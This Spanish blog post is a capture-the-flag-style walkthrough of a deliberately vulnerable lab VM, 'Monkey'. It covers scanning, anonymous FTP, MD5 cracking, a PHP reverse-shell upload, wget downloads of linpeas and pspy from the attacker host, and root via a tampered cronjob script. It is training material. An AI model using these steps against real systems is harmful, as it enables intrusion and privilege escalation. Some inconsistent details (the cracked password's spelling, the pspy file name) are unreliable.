• Inicio
  • Sobre mí
    • Que no te hackeen photo

      Que no te hackeen

      Bienvenido! mi nombre es Cristian Chiri, conoce un poco mas de mi y de mis trabajos.

    • Learn More
    • Email
    • LinkedIn
  • Publicaciones
    • Todos
    • Etiquetas
  • Laboratorio

Monkey, un portal web de alumnos | Hacker Mentor

Monkey

Monkey es un portal web de alumnos en un servidor linux que tiene muchos fallos. En este laboratorio explotaremos algunos de estos fallos.

¿Qué vamos hacer?

  • Escaneo de puertos abiertos, vesriones de servicios y posibles vulnerabilidades en fpt y http.
  • Enumacion de servicios ftp, shh y htpp.
  • Fuzzing de directorios y archivos.
  • Crackeo de hashes.
  • Subida de archivos reverse shell en lenguaje php al servidor web.
  • Metodos de escalada de privilegios con linpeas y pspy64
  • Cronbjobs

Objetivos

Encontrar dos banderas que están en formato txt.

Reconocimiento

Lo primero que debemos hacer es veriguar es la ip de la máquina Monkey, hacemos un escaneo de la red usando la herramienta de NMAP que es un mapeador de red.

sudo nmap -sn red/mascara, este comando hace un reconocimiendo de toda la red através de ICMP, debemos indicar la red y su mascara

Ya que es una máquina virtual podemos comparar las MAC, solo las ip 192.168.254.139 tiene una MAC diferente porque las demás pertenecen a la configuración que crea vmware y la última ip 192.168.254.129 pertenece a nuestra máquina kali.

Ahora haremos un scaneo a los puertos que tiene abierto con nmap

┌──(cris㉿kali)-[~]
└─$ sudo nmap -sS -p- -T4 192.168.254.139        
Nmap scan report for 192.168.254.139
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
  • -sS hace un saludo solo de dos vias, para controlar el estado de conexión.
  • -p es el paremetro que indica que puerto se escanearan, - sigifica que escaneara los 65535 puertos
  • -T4 la cantidad de paquetes que se enviaran, podemos escoger entre 1-5.

Este escaneo de puertos dio como resultado 3 puertos abiertos, ahora averiguaremos las versiones de los servicios habilidados y de paso enviaremos algunos script para ver si encuentra alguna vulnerabilidad.

Usamos el comando

sudo nmap -sV -sC -p 21,22,80 192.168.254.139
  • -sV nos indicará las versiones de todos los servicios activos.
  • -sC este comando enviá una serie de script para encontrar vulnerabilidades ‘default’
  • -p aqui indicamos los puertos que vamos a escanear AL revisar la salida del comando en el servicio de ftp nos meciona que tenemos acceso a ftp por el usuario anonymous ftp-anon: Anonymous FTP login allowed

Tendiendo ya las versiones de los servicios, buscaremos vulnerabilidades para cada uno de los servicios.

Consejo Esta información de las versiones, guárdalo en un TXT y toda la información que encuentras debes tenerlo registrado.

Recuerda Una vulnerabilidad viene anclado a una o varias versiones.

Búsqueda de vulnerabilidades

Para buscar vulnerabilidades por versión y nombre de servicios usamos searchsploit, es una herramienta que nos ayuda a buscar exploit de una base de datos Exploit DataBase.

Comencemos por el servicio de ftp:

searchsploit vsftgp 3.0.3

Encontro un exploit para hacer un ataque de denegacion de servicio, esto no nos sirve para entrar al sistema. No es recomendable hacer DoS cuando estás en entornos reales, ya que lo último que quieres hacer en la empresa es inhabilitar los servicios, si se realiza esta práctica debe ser en horarios donde no haya clientes usandolo.

Continuamos con el servicio de ssh

no tenemos resultados para ssh

Obtener acceso al sistema

Anteriormente, encontramos que el servicio FTP tiene activo la cuenta anonymous, conectamos con ftp ip-remoto usando como usuario: anonymous y contraseña: anonymous

Al listar los archivos con ls, se puede observar que hay una archivo llamado notas.txt y para descargar ese archivo en nuestra máquina local usamos el comando:

ftp> ls
notas.txt
ftp> get notas.txt

Leemos el contenido del archivo notas.txt

Dejaron una nota avisando que agregaron un usuario en la base de datos con el siguiente comando, al revisar el comando podemos encontrar un nombre de usuario y una contraseña, pero esta contraseña está cifrada. Guardemos esta contraseña cifrada en un txt y también guardemos los dos usuarios ‘hackermentor’ y ‘hmnetor’.

Ahora intentamos conectar por ssh, no es recomedable hacer fuerza bruta en shh porque puede generar alertas a los administradores y bloquearte la ip.

Hacemos unos 3 intentos para conectar ingresando contraseñas simple como ‘administrador’, ‘root’ y ‘password’, pero no funcionan.

Revisamos el puerto 80 que es el servicio web, desde el navegador ingresamos a la ip de la aplicacion web

Es una pagina por defecto de apache, esto de una vulnerabilidad baja ya que puede llegar a mostrar informacion que no queremos que este a la vista de todos.

Revisamos el código en el inspeccionador web, al revisar no se encontró nada interesante.

Fuzzing de directorios:

Esto consiste en buscar accesos válidos en la url de la página web, como vemos a continuación:

Encontró 3 resultados

  • /phpmyadmin al entrar a estar dirección encontraremos la base de datos de la aplicación web.
  • server-status arrojo un código 403 el cual indica que no se encuentra disponible.

Por último, en el navegador web, al ingresar a http://192.168.254.139/monkey/ encontraremos la siguiente página

Encontramos el portal de alumnos Podemos hace fuerza bruta con diferentes herramientas como ser:

  • BurpSuite
  • Hydra
  • Medusa

Como tenemos el usuario hackermentor y un hash 8d2473d579e5a11924906def258f97a1. Para descifrar esta contraseña tenemos algunas opciones como:

  • john the ripper
  • hashcat
  • Crackstation de manera online

Primero necesitamos saber el tipo de cifrado que tiene usando hashid

hashid 8d2473d579e5a11924906def258f97a1
Analyzing '8d2473d579e5a11924906def258f97a1'
[+] MD2 
[+] MD5 
[+] MD4 

Probaremos con MD5 porque es el cifrado más común usando la herramienta para descifrar john.

john –format=Raw-MD5 pas.txt –wordlits=/usr/share/wordlists/rockyou.txt
junior01

Como resultado tenemos la contraseña junio01, ahora si ya podemos probar en el portal web.

Iniciamos sesión con el usuario hackermentor y la contraseña junio01, nos dirigimos a la opción de MI PERFIL

Aquí tenemos un formulario, verificaremos en la opción de subir nueva imagen si nos permite subir cualquier tipo de archivo, subiendo archivos java, c y php.

Revisamos el código de la página web de mi perfil

Encontramos que las imágene son llamadas desde la ruta studentphoto

Ingresamos a la ruta http://192.168.254/studentphoto/

Aquí encontramos el archivo.php confirmando que si se puede subir archivos .php.

Ahora que sabemos que podemos ingresar codigo php en internet buscamos una rev shell escrita en php, para esto tenemos la siguiente página Revshell

Ingresamos a la pagina y agregamos los datos de:

  1. ip local de tu máquina kali 192.168.254.129
  2. el puerto por donde escucharemos 8005
  3. buscamos una reverse escrita en php
  1. Copiamos todo el codigo de la reverse shell
  2. Creamos un archivo revshell.php, pegamos todo el codigo en ese archivo y guardamos
  3. Copiamos el listener nc -lvnp 8005 y lo ejecutamos en una terminal
  4. En el formulario volvemos a subir un archivo, en este caso el que creamos revshell.php
  5. Presionamos actualizar en el formulario.

Nos dirigimos a la terminal donde ejecutamos el comando la escucha nc -lvnp 8005

Ya tenemos acceso a la maquina monkey con el usuario ‘www-data’, este es un usuario que levanta servicios en apache sin muchos permisos.

VIsualizamos los usuarios del sistema

www-data@monkey:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
hackermentor:x:1000:1000:administrator,,,:/home/hackermentor:/bin/bash

Encontramos al usuario hackermentor.

Probamos conectar por shh con este usuario encontrado y la contraseña anteriormente decifrada junio01, usaremos la herramienta crackmapexec:

┌──(cris㉿kali)-[~/Downloads]
└─$ crackmapexec ssh 192.168.254.139 -u 'hackermentor' -p 'junior01'  
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Old configuration file detected, replacing with new version
SSH         192.168.254.139 22     192.168.254.139  [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         192.168.254.139 22     192.168.254.139  [-] hackermentor:junior01 Authentication failed.

Observamos que nos da un Authentications falied, por lo que las credenciales son erroneas.

Buscamos las banderas que son nuestro objetivo

www-data@monkey:/$ find / -name bandera*.txt 2>/dev/null
find / -name bandera*.txt 2>/dev/null
/home/hackermentor/bandera1.txt

Leemos el contenido de la bandera1.txt

www-data@monkey:/$ cat /home/hackermentor/bandera1.txt
cat /home/hackermentor/bandera1.txt
47ee0702e489445bae251df46bc88b73

No podemos encontrar la otra bandera, ya que se encuentra en el usuario root y nosotros www-data no tenemos permisos.

Escalar privilegios

Ahora buscaremos la manera de escalar privilegios en la máquina.

Desde este usuario podemos ver las carpetas, recursos, conexiones de red, puerto y toda la información de manera manual, pero para eso tenemos un scrip llamado LinPEAS, que nos permite hacer un inventario del sistema, buscamos carpeta, procesos, conexiones, contraseña, etc.

Descargamos Linpeas en nuestra máquina kali

Entramos a la carpeta de descargas para ver si se descargó correctamente

abrimos una terminar en esta carpeta y levantamos un servicio web con python3 en el puerto 8083 este puerto puede ser a su elección.

┌──(cris㉿kali)-[~/Downloads]
└─$ python3 -m http.server 8083
Serving HTTP on 0.0.0.0 port 8083 (http://0.0.0.0:8083/) ...

Esto nos permite levantar una web para descargar archivos de la carpeta donde nos encontramos.

Ahora nos dirigimos al la revshell del usuario www-data para descarga el recurso LinPeas

  1. Nos movemos a la carpeta /tmp y creamos una carpeta mkdir linpeas Descargamos con el comando:
www-data@monkey:/tmp/linpeas$ wget http://192.168.254.129:8083/linpeas.sh

Le damos una ip accesible que es nuestra ip de kali y el puerto que levantamos con python que es el 8083 y seleccionamos el archivo a descargar.

Damos permisos de ejecución al archivo linpeas.sh y lo ejecutamos.

www-data@monkey:/tmp/linpeas$  chmod +x linpeas.sh
www-data@monkey:/tmp/linpeas$ ./linpeas.sh

Este script pintará de color naranja, lo que podemos usar para escalar privilegios o información como contraseñas.

Encontramos una contraseña M1_P4ssw0rd_segur@, guardemos la contraseña junto los que ya tenemos.

Con esta nueva contraseña probamos una coneccion

ssh ┌──(cris98㉿kali)-[~/maquinas/monkey/]
└─$ crackmapexec ssh 192.168.254.139 -u 'hackermentor' -p 'M1_P4ssw0rd_segur@'
SSH         192.168.254.139 22     192.168.254.139  [*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
SSH         192.168.254.139 22     192.168.254.139  [+] hackermentor:M1_P4ssw0rd_segur@

Efectivamente con el usuario hacerkmentor y la contraseña M1_P4ssw0rd_segur@, tenemos un sigo + el cual significa que tenemos acceso con esos usuarios.

Ahora nos conectamos mediantes ssh con las credenciales validas

ssh ┌──(cris98㉿kali)-[~/maquinas/monkey/]
└─$ ssh hackermentor@192.168.254.139
hackermentor@192.168.254.139's password: 
Linux monkey 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Oct  3 16:37:37 2022 from 192.168.254.129
hackermentor@monkey:~$

Ahora que tenemos el usuario hackermentor con un poco mas de privilegios ejecutamos nuevamente ./linpeas.sh, si recordamos aun tenemos el servidor web que levantamos con python

hackermentor@monkey:~$ wget http://192.168.254.129:8083/linpeas.sh
descargamos el archive linpeas.sh
le damos permisos y ejecutamos
hackermentor@monkey:~$ chmod +x linpeas.sh
hackermentor@monkey:~$ ./linpeas.sh

Encontramos un cronjob tarea programa el cual nos indica que podemos usar este servicio que hace backup para escalar privilegios.

Listamos los archivos y vemos el contenido de backup.sh

lo que hace es:

  1. Elimina el backup.zip
  2. crea un nuevo zip en /var/www/html/monkey/includes
  3. da permisos 700 solo para administrador

Yo como usuario hackermentor no tengo ningun tipo de permiso sobre el archivo backup.zip, el root es quien crea este archivo.

Vemos los permisos de backup.sh

El script que usa el root para crear el archivo backup.zip, es el archivo backup.sh el cual yo si tengo permisos de modificación porque soy el dueño.

¿Como ejecuto ese archivo como root? No puedo porque de entrada no puedo ni eliminar el archivo backup.zip no es mio y ejecutar tampoco porque tiene permisos 700.

Como es una tarea programada podemos inturi que cada cierto tiempo se estara creando, para ver los procesos de los cronjobs tenemos el scrip PsPy64 Descargamos de la misma manera que linpeas con el comando y ejecutamos:

hackermentor@monkey:~$ wget http://192.168.254.129:8083/pyps64
hackermentor@monkey:~$ chmod +x pyps64
hackermentor@monkey:~$ ./pyps64

Esperamos un momento hasta que la tarea programa aparezca

Vemos que la tarea programa se ejecuta cada minuto.

Averiguamos el tipo de shell que estamos usando con:

hackermentor@monkey:~$ echo $SHELL
/bin/bash

ahora sabemos que tenemos una bash y en la pagina Revshell buscamos lo siguiente:

Para esta ocasión ya no es una revshell php sino ahora es una bash.

Editamos el archivo bakcup.sh, comentamos todas las linea y aumentamos lo que encontramos en la pagina para acceder como usuario root.

Escuchamos desde nuestra terminal de Kali en el puerto 8004 y esperamos unos minutos

buscamos la bandera 2

root@monkey:~# ls 
ls
bandera2.txt
root@monkey:~# cat bandera2.txt
cat bandera2.txt
d844ce556f834568a3ffe8c219d73368

Con esto cumplimos el objetivo de encontrar las dos banderas, bien echo.



Laboratorio Share Tweet +1